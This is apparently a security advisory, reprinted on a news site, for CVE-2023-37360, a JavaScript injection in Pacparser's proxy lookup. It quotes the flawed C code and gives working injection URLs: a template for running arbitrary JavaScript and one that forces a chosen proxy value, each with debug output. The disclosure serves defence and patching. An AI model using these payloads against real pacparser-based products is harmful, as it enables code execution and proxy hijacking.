Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-37360: JavaScript Injection in pacparser_find_proxy() (CVE-2023-37360)

pacparser_find_proxy in Pacparser before 1.4.2 allows JavaScript injection, and possibly privilege escalation, when the attacker controls the URL (which may be realistic within enterprise security products).

CVE
#vulnerability#google#js#java

Summary

A JavaScript Injection in pacparser_find_proxy() enables the execution of arbitrary JavaScript code in the context of pacparser’s 16 years old version of SpiderMonkey. We are aware of security solutions that integrate pacparser and run as root; this creates a vector for local privilege escalation by chaining this injection with vulnerabilities in SpiderMonkey.

Details

When software integrating pacparser wants to evaluate the PAC configuration file to identify the proxy to be used for a given URL and host, they may invoke pacparser_find_proxy(). This function loads the PAC script and interpolates the full URL and the host in it using strcat():

char * pacparser_find_proxy(const char *url, const char *host) // […] char *sanitized_url = str_replace(url, "’", “%27”); // […] script = (char*) malloc(32 + strlen(sanitized_url) + strlen(host)); script[0] = ‘\0’; strcat(script, “findProxyForURL('”); strcat(script, sanitized_url); strcat(script, “’, '”); strcat(script, host); strcat(script, "’)");

It is interesting to note that single quotes are URL-encoded to prevent url and host from breaking out of the JavaScript string context. However, it does not take into account backslashes that would escape the single quote concatenated right after sanitized_url. In the absence of a strong validation on the host after its extraction from url, this provides two injection points in the resulting script.

This is what the execution of pactester looks like for a correctly-formatted URL:

$ PACPARSER_DEBUG=1 ./src/pactester -u 'https://google.com' -p tests/proxy.pac
DEBUG: Pacparser Initalized.
DEBUG: Parsed the PAC script.
DEBUG: Parsed the PAC file: tests/proxy.pac
DEBUG: Finding proxy for URL: https://google.com and Host: google.com
DEBUG: Executing JavaScript: typeof(findProxyForURL);
DEBUG: Executing JavaScript: findProxyForURL('https://google.com', 'google.com')
secureUrl
DEBUG: Pacparser destroyed.

If a backslash is used at the end of the URL, pactester warns of a SyntaxError exception: that’s a sign that characters after the backslash are out of a string context:

$ PACPARSER_DEBUG=1 ./src/pactester -u ‘https://foo\\’ -p tests/proxy.pac DEBUG: Pacparser Initalized. DEBUG: Parsed the PAC script. DEBUG: Parsed the PAC file: tests/proxy.pac DEBUG: Finding proxy for URL: https://foo\ and Host: foo\ DEBUG: Executing JavaScript: typeof(findProxyForURL); DEBUG: Executing JavaScript: findProxyForURL('https://foo\’, ‘foo\’) JSERROR: NULL:1: SyntaxError: missing ) after argument list pacparser.c: pacparser_find_proxy: Problem in executing findProxyForURL. pactester.c: Problem in finding proxy for https://foo\. DEBUG: Pacparser destroyed.

To execute arbitrary JavaScript code without any restriction (no single quote, etc), have access to the global scope, and raise an exception to show the result of the operation, we came up with the following payload; replace REPLACEME by the URL-encoded JavaScript you want to execute–make sure to correctly escape special characters in the string depending on your shell first:

http://,(function(t){throw(eval(unescape(“REPLACEME”)))})(this),0)<!–?\

$ PACPARSER_DEBUG=1 ./src/pactester -u 'http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\\' -p tests/proxy.pac

DEBUG: Pacparser Initalized.
DEBUG: Parsed the PAC script.
DEBUG: Parsed the PAC file: tests/proxy.pac
DEBUG: Finding proxy for URL: http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\ and Host: ,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\
DEBUG: Executing JavaScript: typeof(findProxyForURL);
DEBUG: Executing JavaScript:
findProxyForURL('http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\',',(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\')
JSERROR: NULL:1: ReferenceError: REPLACEME is not defined
pacparser.c: pacparser_find_proxy: Problem in executing findProxyForURL.
pactester.c: Problem in finding proxy for http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\.
DEBUG: Pacparser destroyed.

The same structure can be used to return arbitrary proxy values:

$ PACPARSER_DEBUG=1 ./src/pactester -u 'http://,"")&&"foo.bar";<!--?\\' -p
tests/proxy.pac
DEBUG: Pacparser Initalized.
DEBUG: Parsed the PAC script.
DEBUG: Parsed the PAC file: tests/proxy.pac
DEBUG: Finding proxy for URL: http://,"")&&"foo.bar";<!--?\ and Host:,"")&&"foo.bar";<!--?\
DEBUG: Executing JavaScript: typeof(findProxyForURL);
DEBUG: Executing JavaScript: findProxyForURL('http://,"")&&"foo.bar";<!--?\',',"")&&"foo.bar";<!--?\') 
foo.bar

Impact

Attackers with control over the URL can execute arbitrary JavaScript code.

The impact would vary greatly depending on its use, but persistent instances of pacparser (e.g. without calls to pacparser_cleanup() between two proxy resolutions) could be forced to return arbitrary values for proxies by overriding the implementation of functions like findProxyForURL().

The JavaScript engine currently used by pacparser is an old and unsupported version of Spidermonkey. Memory corruption vulnerabilities in the engine could allow the execution of native code. We are aware of enterprise security products embedding pacparser and running as root, in which case attackers could elevate their privileges. We are aware of several memory corruption vulnerabilities in this version of the software, but we didn’t (yet) leverage them to obtain arbitrary code execution.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907